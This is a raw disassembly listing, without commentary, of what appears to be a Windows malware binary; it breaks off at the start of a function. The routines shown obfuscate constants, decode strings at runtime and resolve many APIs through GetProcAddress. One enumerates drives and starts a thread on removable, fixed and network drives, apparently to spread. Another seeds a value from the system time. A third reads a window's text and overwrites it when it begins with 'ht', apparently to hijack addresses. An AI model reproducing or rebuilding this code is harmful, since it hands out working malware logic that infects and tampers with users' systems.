loc_43E45D:				; CODE XREF: sub_43E40A+42j
		movsx	eax, word_44B114
		add	eax, 3E6h
		cmp	edi, eax
		jnz	short loc_43E474
		xor	eax, eax
		jmp	loc_43E5CE
; ---------------------------------------------------------------------------


loc_43E474:				; CODE XREF: sub_43E40A+61j
		movzx	esi, ds:word_447A50[edi*2]
		movsx	ebx, word_44B0D0
		inc	ebx
		cmp	esi, ebx
		jnz	short loc_43E4AF
		movzx	eax, ds:byte_447200[edi]
		push	eax
		push	ds:dword_445060[edi*4]
		call	sub_43B260
		add	esp, 8
		and	ds:dword_446130[edi*4],	0
		xor	eax, eax
		jmp	loc_43E5CE
; ---------------------------------------------------------------------------


loc_43E4AF:				; CODE XREF: sub_43E40A+7Cj
		movzx	esi, ds:word_447A50[edi*2]
		movsx	ebx, word_44B0E8
		movsx	edx, word_44B114
		lea	ebx, [ebx+edx+0FFF8h]
		cmp	esi, ebx
		jnz	loc_43E5A8
		mov	eax, dword_44B198
		sub	eax, 8
		mov	[ebp+var_4], eax
		jmp	loc_43E58B
; ---------------------------------------------------------------------------


loc_43E4E4:				; CODE XREF: sub_43E40A+194j
		mov	esi, [ebp+var_4]
		mov	ebx, esi
		shl	ebx, 2
		cmp	ds:dword_446130[ebx], 0
		jz	loc_43E588
		movzx	edx, ds:word_447A50[esi*2]
		movsx	ecx, word_44B1A8
		mov	eax, dword_44B0B8
		lea	ecx, [ecx+eax+0FFFBh]
		cmp	edx, ecx
		jz	short loc_43E588
		mov	edx, ds:dword_445060[edi*4]
		cmp	ds:dword_445060[ebx], edx
		jnz	short loc_43E588
		mov	bl, ds:byte_447200[esi]
		cmp	bl, ds:byte_447200[edi]
		jnz	short loc_43E588
		movzx	esi, ds:word_447A50[esi*2]
		mov	ebx, dword_44B118
		add	ebx, dword_44B184
		sub	ebx, 6
		cmp	esi, ebx
		jnz	short loc_43E579
		mov	esi, [ebp+var_4]
		movzx	ebx, ds:byte_447200[esi]
		push	ebx
		push	ds:dword_445060[esi*4]
		call	sub_43B260
		add	esp, 8
		and	ds:dword_446130[edi*4],	0
		jmp	short loc_43E5A4
; ---------------------------------------------------------------------------


loc_43E579:				; CODE XREF: sub_43E40A+148j
		mov	esi, [ebp+var_4]
		lea	esi, ds:447A50h[esi*2]
		dec	word ptr [esi]
		jmp	short loc_43E5A4
; ---------------------------------------------------------------------------


loc_43E588:				; CODE XREF: sub_43E40A+EAj
					; sub_43E40A+10Dj ...
		inc	[ebp+var_4]


loc_43E58B:				; CODE XREF: sub_43E40A+D5j
		mov	eax, dword_44B178
		add	eax, 3E0h
		add	eax, dword_44B12C
		cmp	[ebp+var_4], eax
		jb	loc_43E4E4


loc_43E5A4:				; CODE XREF: sub_43E40A+16Dj
					; sub_43E40A+17Cj
		xor	eax, eax
		jmp	short loc_43E5CE
; ---------------------------------------------------------------------------


loc_43E5A8:				; CODE XREF: sub_43E40A+C4j
		movzx	esi, ds:word_447A50[edi*2]
		movsx	ebx, word_44B150
		add	ebx, dword_44B1CC
		sub	ebx, 8
		cmp	esi, ebx
		jle	short loc_43E5CC
		dec	ds:word_447A50[edi*2]


loc_43E5CC:				; CODE XREF: sub_43E40A+1B8j
		xor	eax, eax


loc_43E5CE:				; CODE XREF: sub_43E40A+65j
					; sub_43E40A+A0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
sub_43E40A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43E5D5	proc near		; CODE XREF: sub_443589+19Bp
					; sub_443589+1BCp

var_4F		= byte ptr -4Fh
var_1D		= byte ptr -1Dh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	ds:dword_44A770	; GetTickCount
		mov	[ebp+var_8], eax
		mov	esi, dword_44B124
		dec	esi
		jmp	short loc_43E632
; ---------------------------------------------------------------------------


loc_43E5F3:				; CODE XREF: sub_43E5D5+6Fj
		cmp	ds:dword_446130[esi*4],	0
		jz	short loc_43E631
		mov	edx, ds:dword_449660[esi*4]
		movsx	ecx, word_44B180
		add	ecx, 0EA5Ah
		mov	eax, dword_44B138
		add	eax, dword_44B0EC
		sub	eax, 8
		imul	ecx, eax
		add	edx, ecx
		cmp	edx, [ebp+var_8]
		jnb	short loc_43E631
		and	ds:dword_446130[esi*4],	0


loc_43E631:				; CODE XREF: sub_43E5D5+26j
					; sub_43E5D5+52j
		inc	esi


loc_43E632:				; CODE XREF: sub_43E5D5+1Cj
		mov	eax, dword_44B0A8
		add	eax, 3E4h
		add	eax, dword_44B0D4
		cmp	esi, eax
		jb	short loc_43E5F3


loc_43E646:				; CODE XREF: sub_43E5D5+94j
					; sub_43E5D5+266j
		mov	eax, [ebx]
		mov	[ebp+var_14], eax
		lea	ebx, [ebx+eax]
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	loc_43E841
		movsx	eax, word_44B0E0
		add	eax, 4
		cmp	[ebp+var_14], eax
		ja	short loc_43E646
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_43E670:				; CODE XREF: sub_43E5D5+A0j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43E670
		mov	[ebp+var_10], eax
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		mov	edx, dword_44B10C
		sub	edx, 3
		sub	eax, edx
		mov	[ebp+var_C], eax
		mov	[ebp+var_1], 44h
		movsx	eax, word_44B0E0
		movsx	edx, word_44B19C
		add	eax, edx
		sub	eax, 6
		cmp	byte ptr [ebx+eax], 2Ah
		jnz	short loc_43E6AE
		mov	[ebp+var_1], 43h


loc_43E6AE:				; CODE XREF: sub_43E5D5+D3j
		mov	edi, dword_44B138
		sub	edi, 8
		jmp	short loc_43E6E0
; ---------------------------------------------------------------------------


loc_43E6B9:				; CODE XREF: sub_43E5D5+120j
		cmp	ds:dword_446130[edi*4],	0
		jz	short loc_43E6DF
		mov	edx, [ebp+var_C]
		cmp	ds:dword_445060[edi*4],	edx
		jnz	short loc_43E6DF
		mov	dl, ds:byte_447200[edi]
		cmp	dl, [ebp+var_1]
		jz	loc_43E825


loc_43E6DF:				; CODE XREF: sub_43E5D5+ECj
					; sub_43E5D5+F8j
		inc	edi


loc_43E6E0:				; CODE XREF: sub_43E5D5+E2j
		mov	eax, dword_44B130
		add	eax, 3E4h
		movsx	edx, word_44B110
		add	eax, edx
		cmp	edi, eax
		jb	short loc_43E6B9
		mov	eax, dword_44B13C
		add	eax, 3BEh
		cmp	[ebp+var_10], eax
		jbe	loc_43E7D7
		mov	eax, dword_44B1B0
		add	eax, 9
		movsx	edx, word_44B180
		add	eax, edx
		push	eax
		lea	eax, [ebp+var_4F]
		push	eax
		call	sub_44244A
		add	esp, 8
		mov	eax, dword_44B0F8
		add	eax, 3B5h
		movsx	edx, word_44B100
		add	eax, edx
		mov	[ebp+var_18], eax
		movsx	eax, word_44B0BC
		sub	eax, 9
		mov	[ebp+var_1C], eax


loc_43E74B:				; CODE XREF: sub_43E5D5+1FDj
		mov	eax, [ebp+var_18]
		mov	al, [ebx+eax]
		mov	[ebp+var_1D], al
		mov	eax, [ebp+var_18]
		mov	edx, dword_44B13C
		add	edx, dword_44B12C
		sub	edx, 7
		mov	[ebx+eax], dl
		push	offset dword_446020
		push	[ebp+var_10]
		push	[ebp+var_1C]
		lea	eax, [ebp+var_4F]
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		mov	eax, dword_44B178
		add	eax, dword_44B198
		sub	eax, 0Bh
		and	eax, 0FFh
		push	eax
		call	sub_43D8A3
		add	esp, 24h
		mov	eax, [ebp+var_18]
		mov	dl, [ebp+var_1D]
		mov	[ebx+eax], dl
		mov	[ebp+var_1C], eax
		mov	eax, dword_44B094
		add	eax, 3B7h
		add	eax, dword_44B1C0
		add	[ebp+var_18], eax
		mov	eax, [ebp+var_10]
		cmp	[ebp+var_18], eax
		jbe	short loc_43E7CA
		mov	[ebp+var_18], eax


loc_43E7CA:				; CODE XREF: sub_43E5D5+1F0j
		mov	eax, [ebp+var_10]
		cmp	[ebp+var_1C], eax
		jnb	short loc_43E820
		jmp	loc_43E74B
; ---------------------------------------------------------------------------


loc_43E7D7:				; CODE XREF: sub_43E5D5+12Fj
		push	offset byte_44C4BF
		call	sub_4424C1
		push	offset dword_446020
		push	[ebp+var_10]
		movsx	edx, word_44B110
		add	edx, dword_44B184
		sub	edx, 0Ah
		push	edx
		push	eax
		mov	edx, [ebp+arg_C]
		push	dword ptr [edx]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		movsx	edx, word_44B0C8
		sub	edx, 7
		and	edx, 0FFh
		push	edx
		call	sub_43D8A3
		add	esp, 28h


loc_43E820:				; CODE XREF: sub_43E5D5+1FBj
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]


loc_43E825:				; CODE XREF: sub_43E5D5+104j
		mov	eax, [ebp+var_10]
		lea	ebx, [ebx+eax]
		inc	ebx
		mov	eax, [ebp+arg_C]
		movsx	edx, word_44B180
		add	edx, 0Eh
		cmp	[eax], edx
		jbe	loc_43E646


loc_43E841:				; CODE XREF: sub_43E5D5+81j
		push	offset byte_44C4BB
		call	sub_4424C1
		push	offset dword_446020
		mov	edx, dword_44B0EC
		sub	edx, 5
		push	edx
		mov	edx, dword_44B0F0
		add	edx, dword_44B14C
		sub	edx, 0Ah
		push	edx
		push	eax
		mov	edx, dword_44B0B4
		sub	edx, 8
		push	edx
		push	0
		push	0
		push	[ebp+arg_8]
		mov	edx, dword_44B164
		movsx	ecx, word_44B0D8
		add	edx, ecx
		sub	edx, 4
		and	edx, 0FFh
		push	edx
		call	sub_43D8A3
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43E5D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_43E8A2	proc near		; DATA XREF: sub_442C0A+222o

var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, 43h
		jmp	short loc_43E8BB
; ---------------------------------------------------------------------------


loc_43E8B2:				; CODE XREF: sub_43E8A2+1Cj
		and	ds:dword_44A790[esi*4],	0
		inc	esi


loc_43E8BB:				; CODE XREF: sub_43E8A2+Ej
		cmp	esi, 5Ah
		jbe	short loc_43E8B2


loc_43E8C0:				; CODE XREF: sub_43E8A2+19Bj
		mov	edi, 43h
		jmp	loc_43EA22
; ---------------------------------------------------------------------------


loc_43E8CA:				; CODE XREF: sub_43E8A2+183j
		movsx	eax, word_44B128
		add	eax, dword_44B1C0
		sub	eax, 3
		push	eax
		call	ds:dword_44A630
		push	offset byte_44C4B3
		call	sub_4424C1
		push	edi
		push	eax
		lea	ebx, [ebp+var_E]
		push	ebx
		call	ds:dword_44A634
		add	esp, 14h
		cmp	ds:dword_44A790[edi*4],	0
		jz	short loc_43E944
		mov	eax, dword_44B140
		add	eax, dword_44B184
		sub	eax, 0Eh
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ds:dword_44A790[edi*4]
		call	ds:dword_44A64C	; GetExitCodeThread
		cmp	[ebp+var_14], 103h
		jz	short loc_43E944
		push	ds:dword_44A790[edi*4]
		call	ds:dword_449650	; CloseHandle
		and	ds:dword_44A790[edi*4],	0


loc_43E944:				; CODE XREF: sub_43E8A2+60j
					; sub_43E8A2+8Bj
		lea	eax, [ebp+var_E]
		push	eax
		call	ds:dword_44A664	; GetDriveTypeA
		mov	[ebp+var_4], eax
		cmp	eax, 3
		jz	short loc_43E98D
		cmp	eax, 4
		jz	short loc_43E98D
		cmp	eax, 2
		jz	short loc_43E98D
		cmp	ds:dword_44A790[edi*4],	0
		jz	loc_43EA21
		movsx	ebx, word_44B1BC
		movsx	edx, word_44B19C
		add	ebx, edx
		sub	ebx, 0Ch
		mov	ds:dword_447630[edi*4],	ebx
		jmp	loc_43EA21
; ---------------------------------------------------------------------------


loc_43E98D:				; CODE XREF: sub_43E8A2+B2j
					; sub_43E8A2+B7j ...
		push	1
		call	ds:dword_446000	; SetErrorMode
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_E]
		push	eax
		call	ds:dword_4470D4	; GetDiskFreeSpaceA
		mov	ebx, dword_44B190
		sub	ebx, 3
		cmp	eax, ebx
		jnz	short loc_43E9D8
		cmp	ds:dword_44A790[edi*4],	0
		jz	short loc_43EA21
		mov	ebx, dword_44B1C0
		sub	ebx, 3
		mov	ds:dword_447630[edi*4],	ebx
		jmp	short loc_43EA21
; ---------------------------------------------------------------------------


loc_43E9D8:				; CODE XREF: sub_43E8A2+118j
		cmp	ds:dword_44A790[edi*4],	0
		jnz	short loc_43EA21
		mov	ds:dword_447630[edi*4],	edi
		lea	eax, [ebp+var_28]
		push	eax
		movsx	eax, word_44B194
		push	eax
		lea	ebx, ds:447630h[edi*4]
		push	ebx
		push	offset sub_43B4C6
		mov	ebx, dword_44B134
		add	ebx, dword_44B178
		sub	ebx, 6
		push	ebx
		push	0
		call	ds:dword_44AB90	; CreateThread
		mov	ds:dword_44A790[edi*4],	eax


loc_43EA21:				; CODE XREF: sub_43E8A2+C6j
					; sub_43E8A2+E6j ...
		inc	edi


loc_43EA22:				; CODE XREF: sub_43E8A2+23j
		cmp	edi, 5Ah
		jbe	loc_43E8CA
		movsx	eax, word_44B0B0
		sub	eax, 8
		push	eax
		call	ds:dword_44A630
		pop	ecx
		jmp	loc_43E8C0
sub_43E8A2	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_43EA49	proc near		; DATA XREF: .data:0044B2C8o
		mov	eax, 80004001h
		retn	18h
sub_43EA49	endp


; =============== S U B	R O U T	I N E =======================================



sub_43EA51	proc near		; CODE XREF: sub_442C0A+Cp
		push	edi
		push	offset byte_44C4A5
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_4475E8	; GetModuleHandleA
		mov	dword_44B1DC, eax
		test	eax, eax
		jnz	short loc_43EA84
		push	offset byte_44C497
		call	sub_4424C1
		pop	ecx
		push	eax
		call	ds:dword_448244	; LoadLibraryA
		mov	dword_44B1DC, eax


loc_43EA84:				; CODE XREF: sub_43EA51+1Aj
		push	offset dword_44C484
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A60C, eax
		push	offset byte_44C471
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_449648, eax
		push	offset byte_44C45F
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_447614, eax
		push	offset word_44C44E
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_448224, eax
		push	offset word_44C43A
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_445050, eax
		push	offset byte_44C429
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_446010, eax
		push	offset word_44C412
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_4475F0, eax
		push	offset byte_44C403
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_448368, eax
		push	offset word_44C3F6
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_445004, eax
		push	offset dword_44C3E4
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A628, eax
		push	offset byte_44C3D3
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A650, eax
		push	offset byte_44C3C1
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44ABA4, eax
		push	offset word_44C3B2
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_448220, eax
		push	offset byte_44C3A5
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A620, eax
		push	offset word_44C396
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A640, eax
		push	offset dword_44C388
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_445040, eax
		push	offset word_44C376
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_4470DC, eax
		push	offset word_44C366
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_445014, eax
		push	offset word_44C35A
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_447A40, eax
		push	offset word_44C34E
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A604, eax
		push	offset dword_44C33C
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_4475F8, eax
		push	offset word_44C32A
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A654, eax
		push	offset dword_44C31C
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A658, eax
		push	offset dword_44C308
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A77C, eax
		push	offset byte_44C2F7
		call	sub_4424C1
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_44A638, eax
		push	offset byte_44C2E1
		call	sub_4424C1
		add	esp, 68h
		push	eax
		push	dword_44B1DC
		call	ds:dword_4471F8	; GetProcAddress
		mov	ds:dword_445048, eax
		pop	edi
		retn
sub_43EA51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43ED61	proc near		; CODE XREF: sub_43C256:loc_43C259p

var_252		= byte ptr -252h
var_236		= dword	ptr -236h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_114]
		push	eax
		mov	eax, dword_44B190
		add	eax, dword_44B0F8
		sub	eax, 5
		push	eax
		push	0
		push	20h
		push	0
		call	ds:dword_447A44
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_44825C	; GetSystemTime
		mov	eax, dword_44B0A0
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_8]
		mov	ebx, dword_44B09C
		add	ebx, 34h
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_A]
		mov	ebx, dword_44B158
		add	ebx, 18h
		add	ebx, dword_44B188
		imul	ecx, ebx
		mov	ebx, dword_44B134
		add	ebx, 39h
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_E]
		mov	ebx, dword_44B0A0
		add	ebx, 1Ah
		imul	ecx, ebx
		mov	ebx, dword_44B0D4
		add	ebx, 16h
		add	ebx, dword_44B0C0
		imul	ecx, ebx
		movsx	ebx, word_44B100
		movsx	esi, word_44B194
		lea	ebx, [ebx+esi+33h]
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_10]
		movsx	ebx, word_44B154
		add	ebx, 4
		imul	ecx, ebx
		mov	ebx, dword_44B094
		add	ebx, 16h
		add	ebx, dword_44B0A4
		imul	ecx, ebx
		movsx	ebx, word_44B19C
		lea	eax, [ebx+eax+0Eh]
		imul	ecx, eax
		mov	eax, dword_44B0CC
		add	eax, 36h
		movsx	ebx, word_44B150
		add	eax, ebx
		imul	ecx, eax
		mov	eax, edx
		add	eax, ecx
		mov	ds:dword_445024, eax
		mov	eax, dword_44B108
		inc	eax
		mov	[ebp+var_236], eax
		lea	esi, [ebp+var_252]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_114]
		push	edi
		call	sub_43DAAC
		add	esp, 144h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43ED61	endp


; =============== S U B	R O U T	I N E =======================================



sub_43EE98	proc near		; DATA XREF: .data:0044B2ECo
		mov	eax, 80004001h
		retn	18h
sub_43EE98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EEA0	proc near		; CODE XREF: sub_442318+5Fp

var_100B	= byte ptr -100Bh
var_1005	= byte ptr -1005h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_444B40
		push	ebx
		push	esi
		push	edi
		push	offset byte_44C2CF
		call	sub_4424C1
		pop	ecx
		push	0
		push	eax
		push	0
		push	[ebp+arg_0]
		call	ds:dword_44A638	; FindWindowExA
		mov	edi, eax
		or	edi, edi
		jnz	short loc_43EED2
		mov	edi, [ebp+arg_0]


loc_43EED2:				; CODE XREF: sub_43EEA0+2Dj
		push	offset byte_44C2B9
		call	sub_4424C1
		pop	ecx
		push	0
		push	eax
		push	0
		push	edi
		call	ds:dword_44A638	; FindWindowExA
		mov	edi, eax
		lea	eax, [ebp+var_FFF]
		push	eax
		push	0FFFh
		push	0Dh
		push	edi
		call	ds:dword_445014	; SendMessageA
		movsx	eax, word_44B0D0
		cmp	[ebp+eax+var_FFF], 20h
		jnz	short loc_43EF2D
		mov	eax, dword_44B1AC
		movsx	edx, word_44B0BC
		add	eax, edx
		cmp	[ebp+eax+var_100B], 20h
		jz	loc_43EFD2


loc_43EF2D:				; CODE XREF: sub_43EEA0+6Fj
		mov	eax, dword_44B17C
		cmp	[ebp+eax+var_1005], 68h
		jnz	short loc_43EF57
		movsx	eax, word_44B128
		mov	edx, dword_44B158
		lea	eax, [eax+edx+1]
		cmp	[ebp+eax+var_FFF], 74h
		jz	short loc_43EFD2


loc_43EF57:				; CODE XREF: sub_43EEA0+9Aj
		lea	ecx, [ebp+var_FFF]
		or	eax, 0FFFFFFFFh


loc_43EF60:				; CODE XREF: sub_43EEA0+C5j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43EF60
		mov	ebx, dword_44B12C
		add	ebx, 8
		movsx	edx, word_44B128
		add	ebx, edx
		cmp	eax, ebx
		jb	short loc_43EFD2
		push	offset dword_44C2B4
		call	sub_4424C1
		movsx	esi, word_44B114
		add	esi, 2
		push	esi
		push	eax
		lea	esi, [ebp+var_FFF]
		push	esi
		call	sub_43D744
		add	esp, 10h
		movsx	ebx, word_44B150
		add	ebx, 0FFFAh
		cmp	eax, ebx
		jnz	short loc_43EFD2
		push	offset word_44C2AE
		call	sub_4424C1
		pop	ecx
		push	eax
		mov	esi, dword_44B0C4
		sub	esi, 4
		push	esi
		push	0Ch
		push	edi
		call	ds:dword_445014	; SendMessageA


loc_43EFD2:				; CODE XREF: sub_43EEA0+87j
					; sub_43EEA0+B5j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43EEA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43EFD7	proc near		; CODE XREF: sub_43B780+1Bp
					; sub_43D8A3+1A4p ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword_44B1D0, 0
		jnz	short loc_43EFFF
		push	offset dword_44ABC0
		call	ds:dword_446008	; InitializeCriticalSection
		mov	dword_44B1D0, 1


loc_43EFFF:				; CODE XREF: sub_43EFD7+11j
		mov	esi, dword_44B134
		add	esi, 3
		movsx	ebx, word_44B1A8
		add	esi, ebx
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+2]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		mov	edx, dword_44B158
		add	edx, 2
		imul	ebx, edx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		mov	edx, dword_44B0A4
		add	edx, 4
		cmp	eax, edx
		jz	loc_43F0E2
		push	offset dword_44ABC0
		call	ds:dword_44A65C	; RtlEnterCriticalSection
		movsx	eax, word_44B154
		sub	eax, 2
		mov	[ebp+var_2], ax
		jmp	short loc_43F08F
; ---------------------------------------------------------------------------


loc_43F065:				; CODE XREF: sub_43EFD7+C2j
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+4]
		xor	edx, ecx
		mov	[eax], dl
		movzx	eax, [ebp+var_2]
		mov	edx, dword_44B0EC
		add	edx, dword_44B1B0
		sub	edx, 3
		add	eax, edx
		mov	[ebp+var_2], ax


loc_43F08F:				; CODE XREF: sub_43EFD7+8Cj
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_43F065
		movsx	eax, word_44B0D8
		movsx	edx, word_44B16C
		add	eax, edx
		sub	eax, 9
		movsx	edx, word_44B148
		sub	edx, 3
		mov	[edi+eax], dl
		movsx	eax, word_44B150
		add	eax, dword_44B0FC
		sub	eax, 0Ah
		mov	edx, dword_44B1B8
		sub	edx, 3
		mov	[edi+eax], dl
		push	offset dword_44ABC0
		call	ds:dword_44964C	; RtlLeaveCriticalSection


loc_43F0E2:				; CODE XREF: sub_43EFD7+6Dj
		lea	eax, [edi+6]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43EFD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F0EA	proc near		; CODE XREF: sub_4425A3+25p

var_71F0E	= byte ptr -71F0Eh
var_71F0C	= dword	ptr -71F0Ch
var_71F07	= byte ptr -71F07h
var_70F08	= word ptr -70F08h
var_70F00	= dword	ptr -70F00h
var_70EF8	= dword	ptr -70EF8h
var_70EF4	= dword	ptr -70EF4h
var_70EEF	= byte ptr -70EEFh
var_60EF0	= word ptr -60EF0h
var_60EE8	= dword	ptr -60EE8h
var_60EDD	= byte ptr -60EDDh
var_60EDC	= dword	ptr -60EDCh
var_60ED8	= dword	ptr -60ED8h
var_60ED4	= dword	ptr -60ED4h
var_60ED0	= word ptr -60ED0h
var_60EC8	= dword	ptr -60EC8h
var_60EC0	= dword	ptr -60EC0h
var_60EBC	= dword	ptr -60EBCh
var_60EB8	= dword	ptr -60EB8h
var_60EB4	= dword	ptr -60EB4h
var_60EB0	= dword	ptr -60EB0h
var_60EAC	= dword	ptr -60EACh
var_60EA8	= dword	ptr -60EA8h
var_60EA4	= dword	ptr -60EA4h
var_60E9F	= byte ptr -60E9Fh
var_50EA3	= byte ptr -50EA3h
var_50EA0	= dword	ptr -50EA0h
var_50E9B	= byte ptr -50E9Bh
var_40EB8	= byte ptr -40EB8h
var_40EB0	= dword	ptr -40EB0h
var_40EA8	= word ptr -40EA8h
var_40EA0	= dword	ptr -40EA0h
var_40E9C	= dword	ptr -40E9Ch
var_40E98	= dword	ptr -40E98h
var_40E94	= byte ptr -40E94h
var_40E90	= dword	ptr -40E90h
var_40E8C	= dword	ptr -40E8Ch
var_40E88	= dword	ptr -40E88h
var_40E84	= dword	ptr -40E84h
var_40E80	= byte ptr -40E80h
var_40E78	= dword	ptr -40E78h
var_40E70	= dword	ptr -40E70h
var_40E6C	= dword	ptr -40E6Ch
var_40E68	= dword	ptr -40E68h
var_40E64	= dword	ptr -40E64h
var_40E60	= dword	ptr -40E60h
var_40E5C	= dword	ptr -40E5Ch
var_40E57	= byte ptr -40E57h
var_40E56	= byte ptr -40E56h
var_40E55	= byte ptr -40E55h
var_40E54	= byte ptr -40E54h
var_30E58	= dword	ptr -30E58h
var_30E54	= dword	ptr -30E54h
var_30E50	= dword	ptr -30E50h
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30D40	= byte ptr -30D40h
arg_0		= dword	ptr  8

		push	ebp
